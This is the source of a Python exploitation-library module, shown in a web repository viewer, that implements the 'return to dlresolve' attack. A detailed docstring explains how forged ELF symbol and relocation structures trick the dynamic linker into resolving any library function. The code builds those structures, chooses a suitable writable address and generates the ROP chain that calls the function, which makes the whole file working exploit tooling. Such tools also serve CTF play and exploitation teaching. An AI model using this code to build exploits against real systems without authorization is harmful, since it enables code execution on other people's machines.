summaryrefslogtreecommitdiffstats
path: root/nsploit/payload/ret2dlresolve.py
blob: 8446ead970f2cef3493dc86c540327eccf5569d1 (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
"""
Perform "Return to dlresolve" dynamic linker attack

The ret2dlresolve technique is useful to defeat library ASLR against targets
with partial relro (or less) and where no useable data leaks are available.
This is specifically a workaround for ASLR of libraries such as libc, and
addresses within the target executable are expected to be known (non-pic or
otherwise).

When a dynamic library call is performed normally, applications jump to code
stubs in the .plt section to perform the actual relocation.  This process relies
on a couple of meta-data structures in the ELF object:

Elf*_Rel: Contains a pointer to the corresponding GOT entry, which is used to
cache the real subroutine address for later calls, as well as an info field
describing the relocation.  This info field contains a type subfield and an
index into the ELF's symbol table for the symbol to be relocated.

Elf*_Sym: Contains all the data relevant to the symbol.  For the purposes of the
exploit, only the symbol name field is utilized (the others are set to zeroes).
The name field is an offset into the ELF's string table, and the actual symbol
name string can be found at this offset.

All of the data tables mentioned above are located by their corresponding
section in the ELF.  The relocation process however does not perform any bounds
checks to ensure the runtime data structures actually come from these sections.
By forging custom structures, and ensuring they can be written into memory at
precise locations, an attacker can trick the resolver to link any library
function they desire by setting up the equivalent PLT function call via ROP.

Read on for more background details:
http://phrack.org/issues/58/4.html
https://gist.github.com/ricardo2197/8c7f6f5b8950ed6771c1cd3a116f7e62

Structure definitions from your standard elf.h header:

typedef struct {
    Elf32_Word      st_name;        /* 4b Symbol name (string tbl index) */
    Elf32_Addr      st_value;       /* 4b Symbol value */
    Elf32_Word      st_size;        /* 4b Symbol size */
    unsigned char   st_info;        /* 1b Symbol type and binding */
    unsigned char   st_other;       /* 1b Symbol visibility */
    Elf32_Section   st_shndx;       /* 2b Section index */
} Elf32_Sym;

typedef struct {
    Elf64_Word      st_name;        /* 4b Symbol name (string tbl index) */
    unsigned char   st_info;        /* 1b Symbol type and binding */
    unsigned char   st_other;       /* 1b Symbol visibility */
    Elf64_Section   st_shndx;       /* 2b Section index */
    Elf64_Addr      st_value;       /* 8b Symbol value */
    Elf64_Xword     st_size;        /* 8b Symbol size */
} Elf64_Sym;

typedef struct {
    Elf32_Addr      r_offset;       /* 4b Address */
    Elf32_Word      r_info;         /* 4b Relocation type and symbol index */
} Elf32_Rel;

typedef struct {
    Elf64_Addr      r_offset;       /* 8b Address */
    Elf64_Xword     r_info;         /* 8b Relocation type and symbol index */
} Elf64_Rel;

Elf32_Rel.r_info = 0xAAAAAABB
                     |     |
                     |     type
                     symidx

Elf64_Rel.r_info = 0xAAAAAAAABBBBBBBB
                     |       |
                     symidx  type
"""

from nsploit.arch import arch, itob
from nsploit.payload.payload import Payload
from nsploit.payload.payload_entry import padalign, padlen, pointer
from nsploit.rev.r2 import run_cmd
from nsploit.tech.gadhint import GadHint
from nsploit.tech.rop import ROP

_JMP_SLOT = 0x07

def _symsize():
    # Size of Elf*_Sym, used for padding and indexing
    if arch.wordsize == 4: return 16
    elif arch.wordsize == 8: return 24
    raise ValueError("Ret2dlresolve: Architecture wordsize unsupported")

def _relsize():
    # Size of Elf*_Rel, used only for indexing on 64bit (32bit uses offset)
    if arch.wordsize == 4: return 1
    elif arch.wordsize == 8: return 24
    raise ValueError("Ret2dlresolve: Architecture wordsize unsupported")

def _infoshift():
    # Partition subfields of Elf*_Rel.r_info
    if arch.wordsize == 4: return 8
    elif arch.wordsize == 8: return 32
    raise ValueError("Ret2dlresolve: Architecture wordsize unsupported")

class Ret2dlresolve(ROP):
    # Use constructor from ROP class

    def reloc(self, symbol_name):
        """
        Generate relocation structures for the function with given symbol name.

        The returned data structures are packed into a single Payload object.
        This payload must be written into the target's memory before attempting
        to use it with Ret2dlresolve.call().  Furthermore, the chosen write
        location must be assigned to the payload base property, so that internal
        pointers may take on the appropriate values.

        See Ret2dlresolve.determine_address() for advice on choosing a write
        location.

        symbol_name (str): Name of library function to link
        """
        binary = self.objects[0]
        symtab = binary.sym.sect['.dynsym']
        strtab = binary.sym.sect['.dynstr']

        try:
            jmprel = binary.sym.sect['.rel.plt']
        except KeyError:
            jmprel = binary.sym.sect['.rela.plt']

        # Elf*_Rel.r_info
        info = lambda x: ((int(x - symtab) // _symsize()) << _infoshift()) | _JMP_SLOT

        # The sym structure is the most picky about its location in memory.  So
        # it is listed first in the main dlres struct, which can be placed at
        # the desired location.
        sym = Payload()
        sym.name = pointer("symbol_string", lambda x: x - strtab)
        sym.pad = padlen(_symsize(), b"\x00")
        sym.symbol_string = symbol_name

        dlres = Payload()
        dlres.symalign = padalign(_symsize(), reference=symtab)
        dlres.sym = sym
        dlres.relalign = padalign(_relsize(), reference=jmprel)
        dlres.offset = pointer()
        dlres.info = pointer("sym", info)
        return dlres

    def determine_address(self, start=None, end=None, n=0):
        """
        Determine recommended address for relocation structures.

        There are a couple considerations to make when determining the memory
        locations.  First of all, the location must be writable.  More
        importantly, since most items are referred to by an array index, the
        structures themselves must be properly aligned, reference to the array
        origins.

        The payload returned from Ret2dlresolve.reloc() has some of these
        alignments built in, but one crucial one is not.  The index implied by
        Elf*_Sym's offset from the symtab base is the same index used to lookup
        symbol version information, reference to versym.  The data at this index
        must constitute a valid version half-word (16-bits).  This function
        attempts to ensure that the coincident version info for any returned
        value is the data \x00\x00.  Getting this wrong can cause the dlresolve
        routine to crash.

        start (int): Minimum address to recommend (default: .bss section address)
        end (int): Maximum address to recommend (default: end of memory page)
        n (int): Return the Nth useable address within the defined range
        """
        binary = self.objects[0]
        symtab = binary.sym.sect['.dynsym']
        versym = binary.sym.sect['.gnu.version']
        bss = binary.sym.sect['.bss']

        if start is None: start = bss
        if end is None: end = (start & ~0xfff) + 0x1000

        zero_words = run_cmd(binary.path, "/x 0000")
        zero_words = [ int(x.split(" ")[0], 0) for x in zero_words ]

        # Size of version entry is always 2 bytes.
        veroff = [ x - versym for x in zero_words ]
        idx = [ x//2 for x in veroff if x%2 == 0 ]
        symoff = [ x * _symsize() for x in idx ]
        addr = [ x + symtab for x in symoff ]
        addr = [ x for x in addr if start <= x < end ]

        if len(addr) > n:
            return addr[n]

        raise AssertionError("Ret2dlresolve: No suitable memory location")

    # Overrides ROP.call()
    def call(self, reloc, *params):
        """
        Return a ROP payload to call function via dynamic linker.

        reloc's base address must be set appropriately.

        reloc (Payload): Relocation payload obtained from Ret2dlresolve.reloc()
        *params (int): Remaining positional args are passed to function.
        """
        binary = self.objects[0]
        plt = binary.sym.sect['.plt']

        try:
            jmprel = binary.sym.sect['.rel.plt']
        except KeyError:
            jmprel = binary.sym.sect['.rela.plt']

        register_params = dict(zip(arch.funcargs, params))
        stack_params = params[len(register_params):]
        index = int(reloc.offset - jmprel) // _relsize()

        reqs = GadHint(requirements=register_params)
        call = GadHint(index, stack=stack_params)
        ret = GadHint(self.search_gadget(arch.ret))

        chain = Payload()
        try: chain.requirements = self.gadget(reqs).requirements
        except KeyError: pass
        chain.alignment = padalign(0, itob(ret))
        chain.plt = plt
        chain.call = self.gadget(call)
        return chain